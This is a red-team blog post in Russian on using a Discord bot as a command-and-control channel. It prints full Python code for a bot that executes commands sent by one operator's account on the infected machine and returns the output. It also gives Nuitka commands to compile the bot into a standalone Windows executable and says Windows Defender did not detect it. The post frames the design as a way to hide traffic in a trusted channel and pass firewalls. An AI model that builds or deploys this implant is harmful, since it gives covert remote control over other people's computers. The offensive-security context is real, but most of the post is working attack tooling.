Использование Discord для управления и контроля (C2) с Python и Nuitka

Dec 02 2022
Здравствуйте, товарищи по красной команде, я думал о том, как запутать трафик C2, и у меня возникла идея. Почему бы не связать трафик через несколько проверенных каналов, таких как Discord? Но что, если у цели не установлен Discord? Я обращусь к этому позже.

Здравствуйте, товарищи по красной команде, я думал о том, как запутать трафик C2, и у меня возникла идея. Почему бы не связать трафик через несколько проверенных каналов, таких как Discord? Но что, если у цели не установлен Discord? Я обращусь к этому позже. У меня был некоторый предыдущий опыт разработки ботов Discord, на моем сервере Discord (для обмена знаниями и опытом в области пентестинга / Red Teaming) есть бот Discord, написанный вручную на основе Python.

Добро пожаловать на сервер:https://discord.gg/dWCe5ZMvtQ

Кроме того, если вы предпочитаете смотреть видео, а не читать, вы можете найти его здесь:https://youtu.be/LnXOtHhCx08

Теория

Независимо от движка программирования, все боты Discord работают практически одинаково. Они используют веб-перехватчики для выполнения действий, которые вы указываете им с разрешениями. Существует множество библиотек, поддерживающих разные языки программирования. Боты Discord могут быть написаны практически на любом языке, если следовать документации API (https://discord.com/developers/docs/intro).

Боты Discord на python используют библиотеку discord.py (https://discordpy.readthedocs.io/en/stable/)

Его легко настроить и использовать. Сам код бота прост для понимания и написания. Теперь давайте вернемся к главному: как это вооружить?

Проблема возникает из-за того, что при запуске бота ваш компьютер обходит брандмауэры, поскольку он напрямую общается с серверами Discord. Это означает, что трафик зашифрован и находится на проверенном канале. Это означает, что если мы закодируем бота для чтения и записи команд в определенный канал, мы можем получить выполнение зашифрованного кода. Код на Python очень прост, но есть одна серьезная проблема. Как бы мы заставили цель запустить код Python?

Лучшее решение, которое я придумал до сих пор, — это использование Nuitka (https://nuitka.net/) для компиляции кода Python в автономный PE (Portable Executable). Таким образом, у нас есть стандартная капельница C2. (Мы рассмотрим, что является основной проблемой Nuitka)

Теперь давайте разберем части кода. Нам необходимо выполнить следующие задачи:

  1. Создать дискорд-бота
  2. Присоединить бота к пользовательскому серверу
  3. Закодируйте бота для обработки пользовательских сообщений как команд и для возврата вывода.
  4. Компилировать в PE

Как создать Discord-бота?

Перейдите кhttps://discord.com/login?redirect_to=%2Fdevelopers%2Fapplications

Нажмите Новое приложение:

Дайте ему имя:

Затем нажмите на подменю Bot:

Добавить бота:

Обязательно включите все намерения (особенно сообщение)

Осталось сделать еще одну вещь, перейти к своему боту и сбросить токен, сохранить новый в безопасном месте. Это понадобится для шага 3.

Как добавить бота на свой сервер?

Теперь бот готов, чтобы добавить его, щелкните Генератор URL в меню Oauth2.

Отметьте Бот -> Администратор -> Скопируйте и вставьте URL-адрес в браузер. Затем просто выберите сервер, на который нужно добавить бота.

Как закодировать бота?

Теперь самое интересное!

Давайте проанализируем следующий фрагмент кода:

from discord.ext import commands
from discord.utils import get
from discord.ext.commands import Bot
import discord
from discord.utils import get
import subprocess
import time

DISCORD_TOKEN = "Token from step 1"

def Exec(cmd):
    output = subprocess.check_output(cmd, shell=False)
    return output


intents = discord.Intents.all()
intents.members = True
intents.reactions = True
intents.guilds = True
bot = Bot("!", intents=intents)



@bot.command()
async def IssueCmd(ctx, arg):
    await ctx.send(arg)

@bot.event
async def on_message(message):   
    if(message.author.id == 1046317520178663534):
        await message.channel.send(Exec(message.content).decode("utf-8"))

if __name__ == "__main__":

    bot.run(DISCORD_TOKEN)

Первые несколько строк — это импорт библиотеки и статический токен из шага 1.

from discord.ext import commands
from discord.utils import get
from discord.ext.commands import Bot
import discord
from discord.utils import get
import subprocess
import time

DISCORD_TOKEN = "Token from step 1"

def Exec(cmd):
    output = subprocess.check_output(cmd, shell=False)
    return output

intents = discord.Intents.all()
intents.members = True
intents.reactions = True
intents.guilds = True
bot = Bot("!", intents=intents)

@bot.command()
async def IssueCmd(ctx, arg):
    await ctx.send(arg)

@bot.event
async def on_message(message):   
    #obviously replace the userid with your own
    if(message.author.id == 1046317520178663534#obv):
        await message.channel.send(Exec(message.content).decode("utf-8"))

if __name__ == "__main__":

    bot.run(DISCORD_TOKEN)

Теперь трудная часть.

Как скомпилировать код в PE?

Для этого я остановился на Nuitka. Он довольно прост в использовании. Мы просто должны быть терпеливы. Для этого требуется компилятор MinGW-64, но он автоматически загрузит подходящую версию при первом запуске.

Чтобы установить nuitka, вы можете просто перейти с

pip install nuitka

python -m nuitka --mingw64 .\main.py --standalone --onefile

Как насчет Защитника Windows?

Для него все ясно.

А как насчет поставщиков Antiscanme?

Размер файла был очень большим для меня, чтобы загрузить его. Если у вас, ребята, есть специальная лаборатория с кучей антивирусных поставщиков, не стесняйтесь попробовать против них.

Буду ждать твоих результатов в твиттере!

В чем проблема?

Поскольку он создал один автономный PE, Nuitka нужно было объединить все библиотеки и скомпилировать их все вместе. Вот почему процесс был медленным, а размер файла составлял 40+ МБ. Очевидно, это проблема, которую мы будем решать в будущем. Еще одна проблема — раздражающее всплывающее окно во время выполнения. Кроме того, многие вещи могут быть выполнены, например, внедрение процесса, но я сомневаюсь, что мы сможем добиться этого с таким огромным размером файла. Мы оставим это для следующего!

Подведение итогов

Всегда будьте максимально креативны. Чем больше у вас знаний, тем больше возможностей для реализации творчества перед вами откроется. Несмотря на то, что текущая версия далека от использования, я думаю, что она дает прочную основу для дальнейшего развития. C2 работал отлично, единственная проблема заключалась в размере файла. В конце концов, нет ничего идеального.

Спасибо за прочтение и надеюсь, что вы узнали что-то новое.

Вы можете поддержать мою работу, купив мне кофе:https://www.buymeacoffee.com/lsecqt